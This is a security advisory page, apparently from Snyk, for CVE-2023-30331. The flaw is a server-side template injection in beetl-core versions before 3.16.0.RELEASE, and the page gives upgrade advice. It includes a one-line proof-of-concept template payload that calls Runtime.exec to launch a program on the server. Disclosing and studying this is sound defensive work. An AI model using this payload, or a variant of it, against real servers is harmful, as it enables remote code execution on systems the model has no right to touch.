Improper Input Validation Affecting com.ibeetl:beetl-core package, versions [,3.16.0.RELEASE)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.29% (70th
percentile)
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Test your applications- Snyk ID SNYK-JAVA-COMIBEETL-6613090
- published 14 Apr 2024
- disclosed 4 May 2023
- credit @luelueking
Introduced: 4 May 2023
CVE-2023-30331 Open this link in a new tabHow to fix?
Upgrade com.ibeetl:beetl-core to version 3.16.0.RELEASE or higher.
Overview
Affected versions of this package are vulnerable to Improper Input Validation due to an issue in the render function which allows attackers to execute server-side template injection (SSTI) via a crafted payload.
PoC
${@Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("s='open -a Calculator';java.lang.Runtime.getRuntime().exec(s);")}
References
CVSS Scores
version 3.1